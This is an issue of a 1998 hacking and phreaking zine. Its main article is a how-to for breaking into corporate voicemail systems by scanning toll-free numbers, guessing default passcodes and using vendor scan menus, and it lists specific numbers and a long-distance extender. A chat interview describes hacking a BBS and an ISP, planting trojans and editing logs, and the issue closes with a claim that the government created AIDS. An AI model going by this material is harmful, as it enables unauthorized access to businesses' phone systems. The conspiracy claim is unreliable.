+Okay, now you want to know how to get started scanning and hacking VMBs. There
+are several ways that you can begin. You could use ToneLoc (or another scanner)
+and scan 1-800s trying to find a VMB. Or, you could talk to some phreaks in
+your area code and they might point you in the right direction (ie. they might
+tell you to try scanning in 1-800-999-XXXX as an example). Another option is
+to dial 10 random 1-800 numbers a day, a few times per week for a period of a
+couple of months and make a list. That method is fairly safe, and it should
+ensure that you find some 1-800 VMBs, PBXs, ANIs, extenders etc. Then you can
+investigate the cool 1-800s and forget about the rest. :) Of course, you
+should only try to hack the Virgin VMB systems. (VMBs that haven't been hacked
+already by other phreaks). Hack safely and always use a good diverter. You
+might also find some VMB systems by watching television or looking at products
+(ie. Customer Support numbers, or just VMBs setup for their employees to use).
+
+Once you've found a Virgin VMB system, identify what type of VMB system it is
+before you attempt to start scanning. (Read the section on identifying VMB
+systems that's later in this article). Scanning just means, searching for
+boxes that you can hack. Basically, you'll want to find a box that isn't
+already being used by someone. That is, unless you just want to listen to
+other people's messages and don't want your own box.
+
+I'm not going to take the time to explain guest boxes, dialing out etc. You
+will have to figure out how to use the more advanced features of VMBs on your
+own. As for hacking the VMB, this is a generic method. Call the VMB and when
+you hear the automated message asking for a box number, try entering 999, 999#
+or #999. (With some VMBs you might have to enter a 0, 9, #, * or a different
+number first to access it). After you enter 999, there are a number of possible
+results. It might tell you the Box owner's name, report that you've entered
+an invalid box number, or ask for a password/passcode. If it says "MailBox XXX"
+or "Please leave a message" or just prompts you for a password, then more than
+likely you've found a nice, hackable, unused, virgin box. For the passcode, try
+using some defaults. If the Box Number (BN) is 999 then try entering:
+
+ BN = 999
+ 1+BN = 1999
+ 0+BN = 0999
+ BN+0 = 9990
+ BN-1 = 998
+
+...or the BN backwards. BN 123 would be 321 etc. Some lamers don't even use
+a passcode at all or they leave it as default. Hahaha. However, that's quickly
+changing now that people are discovering that hackers and phreaks exist.
+
+There are some other defaults as well, or common ones such as 000, 111 for 3
+digit passcodes, 0000, 1111 etc. for 4 digits. The default passcode might also
+be the same for every box. It could also be the last 4 digits of the actual
+VMB number. Try the BN first, and look for boxes that have a generic greeting
+message. Once you manage to get into a box, you can use it to start scanning.
+That way, you can scan for boxes (while logged in) without getting disconnected.
+The way to start scanning varies with each type of VMB system. For ASPEN VMB
+systems, you press 3 from the main menu. Then you enter in a box number.
+Just keep scanning boxes and writing down the ones that you think might be
+hackable. :) You don't have to scan randomly either. Continue scanning until
+you reach the lowest box number. In other words, you can go from box number
+999 to 000. You should know what the default box number system is for the VMB
+at this point. Every hackable box should have the same default password. That
+is what makes hacking them so easy. So, if the box that you're using to scan
+with used BN as the default passcode, then every open, hackable box will use BN
+as well. That means if box number 111 is hackable, the default passcode is the
+BN... which is 111. :) You should be able to get a nice list of hackable
+boxes, and get into some of them easily enough. Does this seem difficult to
+you? If it does, you're a complete moron and should stick to calling lame warez
+boards. Hehe. Here's a tip for you. If you are hand scanning (looking for
+VMBs by manually dialing them with your phone) or hand hacking, store the VMB
+number into memory dial. Or you can write a Telix script for hacking boxes.
+
+Why only try to hack Virgin Systems? Why take an unused or abandoned box?
+Well, they last the longest for one thing. They don't attract suspicion and
+the sys admin isn't going to be alerted by someone that paid for a box when
+their passcode is changed. Plus, you won't be fucking up any other phreaks if
+it's a virgin VMB system. Another thing to remember is, the messages in your
+box (once you hack one) aren't as secure as you think...even after you've
+changed the passcode and greeting. So, don't use any personal information and
+avoid getting busted. Take the unused/virgin boxes (watch them to see how
+often they're used/not used) and don't fuck with every box on the system. :)
+
+
+Identifying different types of VMB systems:
+
+ASPEN systems - This is considered the best VMB system, and it has many useful
+features. You are allowed to have two greeting messages, create guest accounts,
+leave urgent or regular messages, and much more. ASPENs are easy to recognize
+because of the extremely annoying female voice. When you dial one up, you might
+have to enter * to get into the system, or you might not. Now press # to login.
+The system will prompt you for your mailbox number. After three invalid mailbox
+number tries, you will be disconnected. If you enter a valid box number, you
+will be prompted for the passcode. It is usually the box number or the box
+number + 0. Once you're logged in, you can press 3 from the main menu to scan
+for other boxes without being disconnected. Always login first.
+
+CINDY systems - This is another nice system. It will start by saying "Good
+morning/afternoon/evening. Please enter the mailbox number you wish". After 3
+invalid entries it will cut you off. To login, enter the box number, and
+during the greeting press 0 then the passcode. The default passcode for all
+CINDY systems is 0. :) From the main menu once logged in, press 6 to scan for
+other boxes without being disconnected like you would if you weren't logged in.
+You can create guest accounts for someone. They would login just like you,
+except they would enter their passcode. You can leave them messages this way.
+
+Message Center systems - These are another popular VMB system. To login, enter
+a box. During the greeting, hit * to log in. It will then ask for your
+passcode. Enter it. These VMBs have tricky password methods. They will stop
+you 1 digit more than the real passcode length. If you enter "12345" and it
+tells you that you're wrong, that means the code is only 4 digits long. If you
+enter an incorrect passcode the first time, no matter what you put in, it will
+say that it's wrong. From the main menu while logged in, type 6 to scan for
+other boxes without being disconnected.
+
+Q Voice Mail systems - These are not a very commonly used VMB system. You'll
+know that it's a Q VMB if it says "Welcome to Q Voice Mail paging." The box
+numbers are normally 5 digits, and you hit 0 during the greeting to login.
+From the main menu while logged in, enter 3 to scan for other boxes without
+being disconnected. You will be promptly disconnected if you aren't logged in
+and try scanning for other boxes.
+
+MERIDIAN Mail - With this VMB you'll probably hear the default greeting message
+of "MERIDIAN Mail. Please enter your mail box number followed by # sign." If
+you wait for a few seconds it'll say "For more information press *." After
+you've entered a valid box number it'll ask "Password?" and then "Please enter
+your password followed by # sign." after a few seconds of inactivity.
+
+(Since I have not personally used all of the above types of VMB systems, the
+source for some of the information used was from an iTS text file - Internal
+Theft Syndicate. However, I did modify it and added my own comments. So, iTS
+deserves some credit for their good release. The entire MERIDIAN Mail section
+wasn't in the iTS text file etc.)
+
+HEED THIS WARNING: Don't try to hack other phreak's VMB systems. If you fuck
+up trying to hack someone's box, then there's a great chance the admin that runs
+the VMB will be alerted by them. Not only will you be caught, but everyone else
+will lose the box that they've been using. The default box passcodes will also
+be changed, the security will be strengthened and the company that owns the VMB
+will be paranoid from then on. So, be wise and avoid doing that shit. Stick
+with Virgin Systems if at all possible and don't do anything stupid. If you
+require information on a specific VMB system, then I recommend that you read h/p
+text files that contain the information on hacking VMBs and explain the system,
+it's features etc. in greater detail. I know that there are many text files and
+zines available on AJFA that would be helpful to you. There are other sources
+for that type of information as well that you might want to search.
+
+List of some 1-800 VMBs for you to check out:
+
+1-800-284-6245 - VMB (Meridian Mail)
+1-800-543-7108 - John Hancock Customer Service (hit *7 to access the VMB)
+1-800-669-1800 - Burger King's Voice Mail System.
+
+Free Extender (as a bonus) for our (519) readers:
+
+654-9000,,,*,,,,,XXX-XXXX Ability Telecom.
+
+In closing, I hope that you've enjoyed reading this article and learned the
+basics of VMBs. The extender above was provided by BLACKENED. We're not going
+to start including huge lists of codes or anything though. If you want to find
+1-800s etc. then you are responsible for scanning/hacking them yourself. We're
+not going to provide codes with passcodes for you. :) Experiment and try to
+learn as much as possible on your own. Don't just use the codes that we give
+you as examples. That'd be very lame. It'd also mean that you're too fucking
+lazy to scan and find anything. Don't limit yourself to just using codes that
+are written in text files. Afterall, that's the opposite of what phreaking is
+all about. That would defeat the purpose of writing articles such as this. You
+basically have to take the initiative, become active and dedicated to learning.
+I'll assure you that text files (even ones that were written recently) do not
+contain information on everything related to phreaking. In fact, there are
+always going to be new systems, new technology etc. Pioneers that are curious
+and willing to explore, find codes, find and learn new systems are always in
+demand. The sense of accomplishment that you get from making a discovery can
+be amazing. I suggest you make it your personal goal to become a true phreak.
+
+Written by Blackie Lawless ú Damage, INC. (C)opyright 1998.
+
+
+INTERVIEWS AND INTERROGATIONS - {INTERVIEWS}
+Fatal Vision's interrogation of Highlord:
+
+Fatal Vision sent me this interrogation of Highlord, and I felt that it should
+be published and shared with the readers of the Damage, INC. Newsletter... ;)
+The bottom portion that contains Highlord's definitions for various things is
+hilarious. Enjoy.
+
+
+ = Fatal Vision
+ = Highlord
+
+---------------------------------------------------
+Recorded with user: The Highlord
+Chat reason: OK you wanted me to page you?
+---------------------------------------------------
+
+ - Yeah, I am here man.. ;) So what's up?
+
+ - well nuthin much i was just reading some text files thats it though.
+
+ - Really? What were the text files about?
+
+ - hacking unix
+
+ - Yeah.. That's cool man ;) You wanna chat about h/p for a bit? I am
+really new to h/p and you could probably teach me a little bit..
+
+ - really...hmmm...thats interestin i thought you knew way more than me..
+
+ - Nah.. I don't know much.. I'll ask you some questions.. Do you know
+what a PBX stands for? Do you have any PBX Numbers? Do you use a PBX?
+
+ - well actually i used to but i forgot what it means but i have it in a text
+file...i dont have any pbx numbers yet i dont think but i am workin on a
+number i am getting from a friend and if i had a number i would definitely
+use a pbx.
+
+ - Okay.. What about ANI? Diverters? Extenders?
+
+ - well hmmm....i dunno what an ANI is :( diverters i think are numbers you
+call to call another place like and extender....
+
+ - Hmm.. Okay.. Uhmm. Oh Do you have a Win95 Internet account man? I saw
+your posts on FoI about that... Do you have any Win95 accounts? (you don't have
+to give me the username/passcode). Do you know what a beige box is? Have you
+gone boxing?
+
+ - ok well i dont have a win95 account i used to but it got busted due to my
+carelessnes but i have learned more in the mean time like log editing. i have
+unix ones and thats about it cause thats what i mainly use. i think i know
+what a biege box does but im not sure i dont really follow the box
+things...and no i have not been boxing but i want to.
+
+ - Yeah.. Okay.. Are you and Taskmaster gonna go Boxing together? Are you
+on any Long Distance (LD) Boards? What boards in 519 do you call?
+
+ - well hmm....i dont think me and him will box together i think thats more
+of an individual thing...i am on one LD board but i think its down but it was
+only a company board with utils... i call scorched :(, suicide solution
+occasionaly but only for full ver stuff....FoI, druids keep :(, 5th dim :(
+coolguys freezer, outlaw rave, brain damage, and thats about it...oh yeah and
+this one if you let me stay on.
+
+ - Hehe ;).. You call quite a few boards in this area.. What do you think
+of Coolguy's Freezer? I haven't called their in ages.. What do you think about
+FoI? Are you on And Justice For All? I really want access there.. He said
+he might give it to me..
+
+ - yeah well he said hed lemme know when they are accepting new users. Well i
+think coolguys freezer kinda sucks...i only get some files there and thats
+about it...i like FoI alot cause its the only good board im on and i have
+learned alot from it.
+
+ - Yeah.. What happened to Jacknife BBS? With that 11 year old SysOp? Did
+you hack him or something? What do you think about Blackened? The Journalist?
+
+ - well jacknife....i think he forgot to pay ma bell ;) well i hacked him but
+i was his co sysyop hehehe yeah and i got his user files and stuff but i didnt
+crash it....i think Blackened is a good hacker with a big ego but i respect
+him and he helps me when i ask him about stuff...The Journalist has been very
+helpful to me and we have chatted many times///but recently he has been a
+little annoying cause he thinks im a security prob.
+
+ - Hehehe.. Yeah.. So you hacked Jacknife then? Why do you think Blackened
+has an ego though? That's what some people have been saying... But I really
+can't understand why.. Do you know what having an "ego" means?
+
+ - hehe well with jacknife i was his co so it wasnt really a hack....but i
+think Blackened has an ego just by the way he talks to ya when you post to
+him....like when i said i was working on GT he said really so what are you
+doing are you worried about security? how long have you been doing this?
+etc.... i dunno why people say im a security prob but im not gonna argue....i
+know what an ego is...........anyway shit my mom says i should go :( ill talk
+abit more but then i gotta go....will you be around tmorow at 5?
+
+ - Yeah.. Well I think you should consider some of the stuff Blackened says.
+In My Opinion he is trying to help ya.. 5:00pm? Near supper? Yeah I should
+be around.. The things you stated about why you think Blackened has an Ego
+doesn't really match the description "ego".. So that's why I asked.. Have
+you applied to Damage, INC.? Do you know how to list files in unix? I forget
+how..
+
+ - ok well i do listen to Blackened i dont mean that having an ego is bad its
+just what i feel when i talk to him.... ill call tmorow at 430 or 500 to talk
+to ya...wellli havent applied to damage inc cause im runnin my own group well
+im startin to...i have a few members but....so far nuthin has happened and we
+need a headquarters......to list files in unix type "ls"
+
+ - Okay.. Yeah.. so are you the "prez" What's the group called? Who's the
+members?
+
+ - ok well i am the head of the group.....but its called The Shadows.....the
+members are well...me, taskmaster, /zero, and thats it for now.
+
+ - Alright man.. I'll let ya go.. Yeah Just page me tomorrow or something..
+at about 4:30-5:00 then..
+
+ - ok i will...if your not in or somethin just call me voice....
+
+ - Alright man.. ttyl
+
+------------------------------------
+Recorded with user: The Highlord
+Chat reason: to continue q/a.
+------------------------------------
+
+ - Yeah.. I am around man ;)
+
+ - yeah i figured you would be./...for some reason my 14.4 wont pick up
+ansi...i think its screwed...so are you gonna put up the other board?
+
+ - I just got a new system.. So I still have to put Eternity on from
+backups..;) My old computer basically fried.. Anyways, So you want some more
+q/a's eh ;)
+
+ - whatever you want...i dont really care....
+
+ - Alright.. Hmm.. What do you think anarchy stands for? What do you
+think about our Government?
+
+ - ok hold on a sec my cat wants out :) ok well anarchy hmmm you mean like
+what does the A the N stand for that kinda thing or overall? overall i think it
+means basically having fun the way you want and our shitty government decids
+that it is wrong but it borders on the legal/illegal border not that i care
+about doing things the "Legal" way....our government i despise i think they
+are a bunch of morons who dont know anythin and are screwin up our country
+and us.....like Bell ;) anyway i really dont like our government and i am
+always trying to find out new stuff they try to get themselves involved in...
+
+ - Hehe.. ;) Hmm.. Okay.. Do you know what Cracker Jack is? Who is this
+hacker that you know that's LD?
+
+ - hahahaha you heard about that eh? well cracker jack is a pword cracker you
+can get different versions but i have the unix one...this hacker well he Had
+a website and i hacked it and fucked him over because we got in an
+arguement...he moved and learned everything he could about hpvac and quickly
+got better then me...but he uses diferent aliases....a source of mine told me
+he wanted to take me out and i found out who he was for real and i threatened
+to tell the cops about him so he took off
+
+ - Why would you call the cops on him? As for Cracker Jack is there a
+Win95 one? ;) You hacked his Webpage?
+
+ - well it was an empty threat but i know he is afraid of the cops so i
+figured may as well scare him a little ;) for win95 there is a prog called
+Claymore that does that....i dont know of a crcker jack one.....and i just
+hacked the isp well i knew the pwords.....and i took him down and screwed his
+system with a few trojans......
+
+ - Oh.. Hmm let's chat a bit about your "h/p" group.. What does it take
+to be a member? Do you have any releases? What do you focus on? Why was it
+created? etc?
+
+ - well im gonna tell you stuff but i dont want you posting on FoI about my
+little lameass group ok?
+
+ - Why are you calling your own group lame?
+
+ - im not i read your interesting post about my group called the "prezzes" or
+somethin like that.
+
+ - Huh? That was about a different group.. I didn't even know you had a
+group until last night..
+
+ - oh ok well nevermind then....anyway i dont want you posting on FoI about
+it though ok? i know TJ and Blackened will make fun of me or annoy me...
+
+ - Hahaha... Okay.. I won't post it on FoI. ;)
+
+ - ok thanx ;) anyway ok i created it cause well to be honest everyone knows
+519 is dead....i want to bring another h/p group into the scene and try to get
+more people into it. We have had no releases yet but that was because we had
+our headquarters on scorched earth and stallion was in on it and then screwed
+everyone for talking about hacking and shit....so we kinda got lost...but im
+trying to bring it back....our main focus is to bring useful info about hpvac
+to the 519 community and to create awareness of Bell Microsoft and our
+Corrupt government....To become a member you must show some sort of
+dedication and intelligence and promise not to talk to non-members about our
+actions and the your in if i allow you to be.... thats about it...we also
+have a vote to see if you get in or not.
+
+ - Stallion *screwed* everyone for talking about hacking? Hahah.. That's
+hilarious man.. So you don't plan on realizing your shit to Freedom Of
+Information then? Why only upload it to Scorched Earth? Especially since
+it's not a h/p board..
+
+ - OK well i do plan on releasing it to FoI but only
+
+=> User disconnected
+
+------------------------------------
+Recorded with user: The Highlord
+Chat reason: ......
+------------------------------------
+
+ - ok that was call waiting but its disabled now.....anyway i do plan on
+releasing the stuff to FoI but first i would like people to give me an
+opinion on it. I will not u/l it to scorched because well...stallion is a
+fuckin moron......and he runs a warez board......thats about it....
+
+ - I thought Stallion is going to have your files online? You call that
+board though right? You still call warez boards?
+
+ - well to tell ya the truth i call it only to piss of people :) they dont
+like me cause i dont like warez...so screw em :) anyway no stallion has no
+files of mine on his board...he is trying to setup an h/p file area but me and
+tweakie are the only people who use it hehehe and i do call some warez boards
+but only if i want a full ver thing and they have it..i dont go getting new
+warez to double click and calim to hack....besides i dont use microsoft
+products at all.
+
+ - Really? How did you find that little lame "trick" in Win95 then? Hehe..
+I read about that on FoI..
+
+ - i figured people would read it thats why i posted it...well i used to use
+MS products b4 i got into hpvac and then i realsized how much MS sucks and vowed
+never to use their products at all :)
+i found the trick when i had windoze....
+
+ - Oh.. I see.. I read somewhere that you can program viruses? Is that
+true? Hex is a *hard* language man.. Fuck.. Hahah
+
+ - well i dont program in hex i merely edit the file so it has a viral
+effect...im tryin to learn about programmin viruses but so far i cant do
+anything good...i just try to take a source code and change it around...i
+have text files that help me do that...
+
+ - What Language do you use? Hex?
+
+ - well i use hex to edit things but im using c and uhh... ...basic
+:(
+
+ - Hahah.. That's hilarious ;) Who do you think is the *biggest* lamer in
+this area?
+
+ - well hmmm..... to me well i hate Floyd the Jackass but id hafta say
+Spike Jr.
+
+ - Oh.. Yeah.. Someone Said Spike Jr hacked that Jacknife board eh..
+
+ - hahaha spike couldnt hack anything...he wasnt even on there......well he
+got pissed off at me for hacking his board...still hasnt changed his pword
+HAHAHAHA!!!!!
+
+ - Yeah he was on Jacknife man ;) And It doesn't take much to nuke a board
+in this area.. Just rename a quality trojan, and upload it to a board.. ;) It
+doesn't take much for someone to get the SysOp to run it either... Ah well,
+that board was lame anyways.. I saw your posts there and had to laugh ;)
+
+ - hahaha yeah i only posted cause he told me too....but i was his co sysop
+and i felt i may as well try to make it a little less lame...but the fucker
+forgot to payoff bell.....so he dont got a line this month.....
+
+ - How do you know?
+
+ - hmmm....well he called me on voice and told me......
+
+ - Really? Your not lying to me? He's 11 years old.. How could *he* pay
+for the line? His parents would probably pay for it and I don't think they
+would forget..
+
+ - no he was paying for it...he has a little shitty paper route and his
+parents dont even want him running a board so they dont help him.....i think the
+beel bill got lost in the mail thats what he said.....
+
+ - If he seriously told you that, I'd have to say "bull-shit" ;) He probably
+just can't admit that he got hacked..
+
+ - i guess hes lying but i dont really care hes a lamer with a lame board and
+i just changed some stuff for somethin to do...... but....oh well.
+
+ - Hahaha! Do you know what Social Engineering is?
+
+ - no fuckin idea.
+
+ - Oh.. Heheh.. Did you ever figure out about what PBX stands for?
+
+ - nope had no time and dont really care but ill look l8er.......
+
+ - Hehehe.. You don't really care what it stands for?? Hahaha.. How can you
+use one if you don't even know what it's called ;) Just one more question for
+ya. How are you avoiding being caught while hacking ISPs?
+
+ - ok well i meant i dont care that i didnt have any time...sorry worded it
+wrong....but i am editing all the logs and i hack em from other peoples
+houses... but i just change their logs and always use *67 even if it dont
+work too good.
+
+ - Who's houses do you hack them from? Taskmaster? Hehe.. As for *67.. Haha
+that's hilarious man.. Do you think that does anything?
+
+ - well bell invented it and i read enough text files to know it doesnt do
+anything but its in my dialout thingy so i dont care.....but no ive never
+been to taskmasters house...i call from friends houses who dont know what
+bbses or the internet are hehehee.
+
+ - Hahaha.. I just wanted to know what "Elite h/p" is?
+
+ - well your talkin about 2 different things.....elite is like well warez and
+shit like that like emulators and shit and h/p is hacking/phreaking well you
+probably knew that ;)
+
+ - Hahah.. Yeah. I probably know a little more then you think ;).. How come
+when you left me e-mail before with your real information you said you would
+upload all your "Elite hp" if I gave you access? Do you know what
+h/p/a/c/v/t stands for?
+
+ - yes did i post that? hmmm must have been smokin somethin ;) i dunno why
+i did though..oh well just a mistake....hacking/phreaking/anarchy/viruses/
+trojans/carding
+
+ - Yeah you did post that.. Anyways dood, I've gotta get going.. Don't
+give this number to anyone.. I noticed you already have though..
+
+ - huh? to who? i did to /zero but he just wanted to make sure that number
+was for here.......
+
+ - Oh.. Alright.. I'll let ya go though.. I've got some work to do now ;)
+
+ - ok yeah whatever...you want to continue this discussion l8er?
+
+ - Sure..
+
+ - ok when time/date/year ;)
+
+ - How about 1:00am/Feb.19/2001 ;)
+
+ - yeah ok sure you gonna be around? ;)
+
+ - Of course.. Alright.. I'll pull you to chat then.. Later
+
+
+whats your handle :
+.:[ The Highlord
+how is the h/p scene in 519 :
+.:[ Not too good
+ [
+what are you trying to hack or do right now :
+.:[ Golden Triangle and the KPL
+ [
+ [
+what are your interests :
+.:[ HPVAC, Computers
+ [
+
+try to define and give significance for these terms;
+
+pbx, extenders, diverters, trojans, viruses, alt.2600,
+assembly, ToneLoc, Damage, INC., Renegade, UNIX, Shell,
+internet, mIRC, ISPs, Mailbombers, FTP's, F-PROT,
+lamers, Ansi, Data Bits, Datapac, ansi bombs, NUKEAB,
+and last but not least zines.
+ [you will be given alot of lines for this]
+
+.:[ pbx= a thing you can hack to get free long distance,
+ [ extenders=a number you can dial from
+ [
+ [ trojans=things that do things somewhat like viruses
+ [ viruses=similar to trojans
+ [ alt.2600=an hp newsgroup on the net mainly warez now
+ [
+ [ toneloc=a wardialer/hacking util
+ [ damage, inc.=Blackened's hp group maek a release monthly
+ [ renegade=bbs software, very poular and easier to hack
+ [ unix=a good os that is text only created by at&t
+ [ mirc=a chat thing on the net. im not a net user....
+ [ isp's=internet service providers
+ [ ftp's=file transfer protocols
+ [ f-prot=an antivirus prog
+ [ lamers=users who are incompetent and use warez
+ [ ansi=graphics on a bbs
+ [ nukeab=the damage, inc. file to nuke drives a: and b:
+ [
+ [
+
+enter your favourite bbs :
+.:[
+favorite type of music :
+.:[ Alternative/Metal
+anything else that isn't in here, put it here: [3 lines]
+.:[
+ [
+ [
+
+
+LETTERS TO THE EDITOR - {LETTERS}
+
+The message below was written by Thc Phreak and sent to me on AJFA. Since
+it's feedback, I decided to include a copy so that everyone can read it.
+
+
+Msg # : 161 of 161 Area : Damage, INC. Releases
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+From : Thc Phreak Date : Thu Feb 05 1998
+To : Blackened Time : 10:43 pm
+Title : Re:Damage, INC. Newsletter
+ >> This is a reply to message # 160
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+
+°±² Blackened complained to All about hating Win95! ²±°
+
+>The Damage, INC. Newsletter January issue #5 has been released. Download
+>DAMAGE-5.ZIP if you want to read a copy. After you've read through it,
+>leave us feedback. ;)
+
+I just finished reading DAMAGE.005... and want to give you some feedback
+man. I've read all of the issues of the Damage, INC. Newsletter now and
+think the January issue is the best that you've released. Your quote is
+accurate. They are addictive. I really enjoyed the Introduction and the
+drug metaphor that you used. That really linked it to the quote "Addictive
+but not lethal."
+
+The Big Brother Bashing article you wrote really opened my eyes and made
+me think seriously about smart cards and microchips... and how they can be
+used against us.
+
+The article on data recovery techniques contains some very good info. I
+am looking forward to reading your tip of the month for February.
+
+The Conspiracies and Coverups article relating to the thought police, h/p
+and the laws should be read by anyone that hacks and phreaks. Shatazar
+must've spent some time researching Bill C-17 and the criminal code... and
+deserves credit for informing us.
+
+The Corruption and Greed article that Blackie Lawless wrote on Saddam Hussein
+was very interesting and well written.
+
+The h/p information that Blackie Lawless wrote should be read by newbies.
+Even though I phreak and know about PBXs, I still learned something. I
+hope he writes more h/p articles in the future. :)
+
+The interrogation of Bill Gates that Damage, INC. did was simply hilarious!
+Hahahaha. I read through it several times and enjoyed it immensely. It
+was really creative too.
+
+Shatazar's Objective Opinions article on Robert Latimer was well written.
+It made me think about the federal government and question why they don't
+act.
+
+The Reports from the Front article on the New World Order was humorous,
+sarcastic, and satyrical. I suggest you include more articles like that.
+
+I looked through the Fade to Black source code in the Source and Scripts
+section... and managed to learn a few things about assembly. :)
+
+The "Visions in Fire" essay was well written, and had a powerful message.
+As always, your Closing Comments put the finishing touches on the issue.
+Overall, I think Damage, INC. did an excellent job. I hope to contribute
+soon.
+
+- THC Phreak
+-------------------------------------------------------------------------------
+
+Editor - Thanks for the feedback man. ;) We'll take your suggestions into
+ consideration. If we can find more articles like the New World Order
+ one, then we'll definitely include them. I'm glad you learned a few
+ things about assembly, PBXs etc. from the last issue. As for the
+ laws on h/p, I hope that information proves to be helpful. You can
+ also be assured that Damage, INC. will continue to inform the readers
+ of the Damage, INC. Newsletter. I personally look forward to you
+ contributing. I am very open to new ideas and welcome any different
+ opinions and perspectives that you might have. ;)
+
+
+OBJECTIVE OPINIONS - {OPINIONS}
+Calling the kettle black.
+
+The United States of America is currently fascinated by a real life soap opera.
+Beloved President Bill Clinton is embroiled in a sex scandal, which supposedly
+threatens his presidency. Bill Clinton is accused of using his position as
+President, and previously as Governor of Arkansas, to cultivate sexual relations
+with women. After Paula Jones filed suit against Clinton, women like Monica
+Lewinsky and Kathleen Willey have come out of the woodwork.
+
+Aren't there more important issues that Americans should concentrate on? Most
+definitely. And yet the Clinton sex scandal, and the coverup that followed has
+dominated the attention of politicians, the media, and most of the zombies in
+America's citizenry. Personally, I feel this whole ordeal is sheer lunacy.
+However, this whole sex scandal really epitomizes what is at the core of
+"western society."
+
+One obvious fact regarding this "issue" is the fact that it's a power play.
+The Republicans are using this scandal to attack Clinton so they can weaken the
+Democrats before the upcoming presidential election. It is no coincidence that
+prosecutor Kenneth Starr has connections to the Republican Party. The
+Republicans can see that Clinton is vulnerable, and they are going in for the
+kill. Using their allies in the religious right, they are attacking Clinton on
+what they consider to be high moral ground.
+
+I wasn't stunned when Linda Tripp came out of the blue with her audio tapes.
+Linda Tripp befriended Lewinsky, got her to open up about her dealings with
+Clinton, and then recorded them without Lewinsky's knowledge. Tripp took
+advantage of the fact that in the state of Virginia (where their office was)
+it's legal for one party of a conversation to record it without other person's
+knowledge. Linda Tripp, like the Republicans, is an opportunist taking
+advantage of Clinton's sexual escapades. No doubt she will sell her audio tapes
+for a king's ransom.
+
+Don't forget another group of opportunists that have been feeding off of
+Clinton... the mass media. The media are totally out of control. At one point,
+I saw Monica Lewinsky portrayed as a naive 21-year-old intern with low
+self-esteem, influenced and seduced by a horny president. Another media source
+has described Lewinsky as a slut that took her intern position so she could have
+the dubious honour of blowing the President of the United States. It is obvious
+to me that the media will do anything to give this scandal, which has been
+beaten to death, a different slant so they can sell their story.
+
+Meanwhile, the media is stalking Lewinsky. When she went to visit her father in
+California, she had a taste of what Princess Diana dealt with. Ironically, a
+member of the press chased Lewinsky's car down a California highway. This
+paparazzi reporter actually hit her car from behind! Fortunately for Lewinsky,
+she didn't lose her life like Diana did. I'm sure the photographer was pleased
+with himself though. After all, for a small fine, he created a photo
+opportunity and a story. And yet the media is extremely quick to judge
+Clinton's sexual affairs. I've even heard media members say "the President
+of the Unites States is the moral leader of this country." Yeah right.
+I've also heard the media report "in the United States, there is a division
+between church and state" during the vigil prior to Carla Faye Tucker's
+execution. Which one is it? The media always tries to have it both ways.
+
+At first I shook my head at Clinton for having affairs with young interns that
+were trying to build careers. Clinton is not unlike most politicians that abuse
+the power of their position. What really sickened me is that Clinton is being
+attacked because he was "morally in the wrong." Clinton's critics are ones to
+call the kettle black. The Republicans have had many scandals when they held
+power. Does the Iran-Contra scandal bring back memories of their lack of
+morality? And how about the mass media? They have no right to judge anyone on
+moral grounds. If you don't agree with me, reread BLACKENED's article about the
+mass media in the November 1997 issue of the Damage, INC. Newsletter. They are
+as immoral as any corrupt politician.
+
+I'm not going to let Clinton and his buddy Al Gore off the hook either.
+Remember all of the "family values" speeches that Clinton and Gore spout so
+feverously? Haha... It appears that Clinton's values include trading
+professional favours for sex. Do you see the message that these people with
+power send out to people that want to be influenced? Do as I say, not as I do.
+The definition of hypocrisy. And hypocrisy definitely isn't moral, although it
+is acceptable in "society." I do not say this tongue-in-cheek. President Bill
+Clinton's popularity has never been higher than it is right now.
+
+All I have discussed, in my opinion, is at the heart of not only Clinton's sex
+scandal, but it is the very core of "society." Political and economic power
+plays, betrayal of friendship, overzealousness, unaccountability, greed, lust,
+and hypocrisy are only a few words that can be used to describe what skills are
+necessary in order to enjoy the "American Dream" as it exits right now. The
+next time you hear someone criticizing someone else on moral grounds, be sure to
+think of the source of the words first. Especially if that person is part of
+the government or the mass media.
+
+Written by Shatazar ú Damage, INC. (C)opyright 1998.
+
+
+REPORTS FROM THE FRONT - {REPORTS}
+
+After reading Damage INC.'s fifth issue this morning, I came across an article
+in the Toronto Sun which ties in quite nicely with the Big Brother Bashing.
+
+Big Brother's watching, hearing told:
+
+Ottawa dished out $31 million in the early 1980s for a state-of-the-art
+computer software program to keep track of Canadians, a secret refugee hearing
+was told. The U.S.-made Promis system interfaced with any data base and
+provided information on a person's credit cards, banking, pension, tax,
+criminal and immigration records, transcripts obtained by the Toronto Sun
+showed.
+
+The program could spit out details of a person's health care and even library
+transactions.
+
+"If you ever had a driver's licence you would be on the program," Ari Ben
+Menashe, once an adviser to former Israeli prime minister Yitzhak Shamir,
+told a secret Immigration and Refugee Board hearing last June.
+
+"No data base existed then that could interface with other data bases," he
+said.
+
+"This software can by used on any Canadian in any jurisdiction," Richard
+Kurland, lawyer for U.S. refugee claimant, Alexander Henri Legault, said.
+"It can be used by the government to play big brother."
+
+Updated versions of the software are reportedly still being used by the RCMP
+and the Canadian Security Intelligence Service. CSIS and RCMP officials
+could not be reached for comment.
+
+The board is expected to rule any day on the fate Legault, 49, who says he'll
+be persecuted by the CIA for blowing the whistle on a Montreal brainwashing
+experiment, code named MK-Ultra, in the 1950s and 1960s.
+
+The experiments headed by the late Dr. Ewen Cameron and funded by the CIA,
+subjected unwitting patients to hallucinogenic drugs, weeks of forced sleep
+and massive doses of shock therapy.
+
+The hearing was also told the CIA used contaminated mosquitos to spread
+dengue fever to parts of the Caribbean and Cuba, and conducted drug tests on
+abducted derelicts and prostitutes snatched off the streets of San Francisco.
+Most of them died.
+
+Disposal CIA units called "Team B" were then called to get rid of the corpses
+the hearing was told.
+
+
+This article was published in the Monday February 2, 1998 issue of the
+Toronto Sun.
+
+My thoughts on this article? If the CIA can do things like what I've
+mentioned above, then what makes us think that the government didn't
+collaborate on making the AIDS virus and spreading that around to control
+the population?
